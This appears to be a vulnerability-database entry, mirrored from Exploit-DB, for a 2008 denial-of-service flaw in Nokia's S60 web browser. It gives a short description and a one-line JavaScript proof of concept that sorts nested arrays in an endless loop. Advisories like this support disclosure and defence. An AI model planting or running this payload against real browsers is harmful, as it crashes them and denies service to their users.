Nokia Web Browser for S60 - Infinite Array Sort Denial of Service

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056898 漏洞类型
发布时间 2008-10-10 更新时间 2008-10-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Hardware CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/32472
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/31703/info

Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when handling malicious HTML files.

A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script>